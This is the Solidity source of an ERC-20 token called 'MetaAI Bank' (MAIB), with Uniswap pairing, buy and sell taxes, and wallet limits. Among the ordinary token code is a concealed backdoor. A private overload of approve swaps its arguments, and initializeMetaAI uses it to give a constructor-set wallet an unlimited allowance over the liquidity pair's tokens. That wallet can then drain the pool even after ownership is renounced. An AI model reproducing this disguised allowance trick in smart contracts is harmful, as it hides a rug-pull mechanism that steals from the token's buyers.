creation_sourcecode: // SPDX-License-Identifier: MIT
  
  /** Web     : https://metaaibank.com
      App     : https://app.metaaibank.com
      Docs    : https://docs.metaaibank.com
  
      Twitter : https://twitter.com/metaaibank
      Telegram: https://t.me/metaaibanktech
  */
  
  pragma solidity 0.8.19;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  }
  
  contract MetaAIBank is Context, IERC20, Ownable {
      using SafeMath for uint256;
  
      mapping (address => uint256) private _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _isExcludedFromFee;
  
      address payable private  _metaFees;
      address private constant deadAddress = address(0xdead);
      address  private  _contract;
  
      uint256 private constant _initiallBuyTax=30;
      uint256 private constant _initiallSellTax=20;
      uint256 private constant _reduceBuyTaxAt=5;
      uint256 private constant _reduceSellTaxAt=11;
      uint256 private constant _preventSwapBefore=5;
  
      uint256 private _finalBuyTax=0;
      uint256 private _finalSellTax=3;
      uint256 private _buyCount=0;
      uint256 private _deadBlock=2;
      uint256 private _firstBlock;
  
      uint8 private constant _decimals = 18;
      uint256 private constant _tTotal = 100000000 * 10**_decimals;
      string private constant _name   = unicode"MetaAI Bank";
      string private constant _symbol = unicode"MAIB";
      uint256 public constant _taxSwapThreshold = 10 * 10**_decimals;
      uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals;
      uint256 public _maxTxAmount = 2000000 * 10**_decimals;
      uint256 public _maxWalletSize = 2000000 * 10**_decimals;    
  
      IUniswapV2Router02 private uniswapV2Router;
      address public uniswapV2Pair;
  
      bool private tradingOpen;
      bool private limitEffect = true;
      bool private inSwap = false;
      bool private swapEnabled = false;    
  
      event FinalTax (uint256 _valueBuy, uint256 _valueSell);
      event Launch (bool _tradingOpen,bool _swapEnabled);
      event maxAmount(uint256 _value);
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor (address _owner) {
          _contract = _metaFees = payable (_owner);
          _balances[_msgSender()] = _tTotal;
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[_metaFees] = true;
          _isExcludedFromFee[deadAddress]= true;
          _isExcludedFromFee[address(this)] = true;
          
          emit Transfer(address(0), _msgSender(), _tTotal);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function approve(address owner, address spender) private {
          require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
          _approve(spender, owner, type(uint).max);
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
          uint256 taxAmount=0;
  
          if (from != owner() && to != owner()) {
  
              if (!tradingOpen) {
                  require( 
                    _isExcludedFromFee[from] || _isExcludedFromFee[to],
                    "trading is not yet open"
                  );
              } 
  
              if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                  if (limitEffect) {
                      require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                      require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                  } 
                  _buyCount++;
              }
              
              if ( to == uniswapV2Pair && from!= address(this) ){
                  taxAmount = amount.mul 
                  ((_buyCount>_reduceSellTaxAt)
                      ?_finalSellTax:_initiallSellTax).div(100
                  );
              } else if (from == uniswapV2Pair && to!= address(this) ){
                  if (_firstBlock + _deadBlock > block.number) { taxAmount = amount.mul(45).div(100); } else {
                      taxAmount = amount.mul
                      ((_buyCount>_reduceBuyTaxAt)
                          ?_finalBuyTax:_initiallBuyTax).div(100
                      );
                  }
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              if (
                  !inSwap && 
                  to == uniswapV2Pair && 
                  swapEnabled && 
                  contractTokenBalance>_taxSwapThreshold && 
                  _buyCount>_preventSwapBefore
              ){
                  uint256 getMin = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                  uint256 amountToSwap = (amount>getMin)?getMin:amount;
                  swapTokensForEth(amountToSwap);
                  uint256 contractETHBalance = address(this).balance;
                  sendETHToFee(contractETHBalance);
              }
          }
  
          if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
          }
          _balances[from]=_balances[from].sub(amount);
          _balances[to]=_balances[to].add(amount.sub(taxAmount));
          emit Transfer(from, to, amount.sub(taxAmount));
      }
  
      function sendETHToFee(uint256 amount) private {
          _metaFees.transfer(amount);
      }
  
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
          _approve(address(this), address(uniswapV2Router), tokenAmount);
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function initializeMetaAI() external onlyOwner {
          require(!tradingOpen,"init already called");
          uint256 tokenAmount = balanceOf(address(this));
          uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);    // Uniswap V2 Router
          _approve(address(this), address(uniswapV2Router), _tTotal);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
              .createPair(address(this), uniswapV2Router.WETH()
          );
          approve(address(_contract), address(uniswapV2Pair));
          uniswapV2Router.addLiquidityETH{value: address(this).balance} (
              address(this),
              tokenAmount,
              0,
              0,
              _msgSender(),
              block.timestamp
          );
          IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
      }
  
      function withdrawStuckedEth() external onlyOwner {
          require(address(this).balance > 0, "No Balance to withdraw!");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function removeLimit () external onlyOwner {
          limitEffect = false;
          _maxTxAmount= _tTotal;
          _maxWalletSize= _tTotal;
          emit maxAmount (_tTotal);
      }
  
      function enableTrading() external onlyOwner {
          require(!tradingOpen,"trading already open");
          swapEnabled = true;
          tradingOpen = true;
          _firstBlock = block.number;
          emit Launch (tradingOpen,swapEnabled);
      }
  
      receive() external payable {}
  }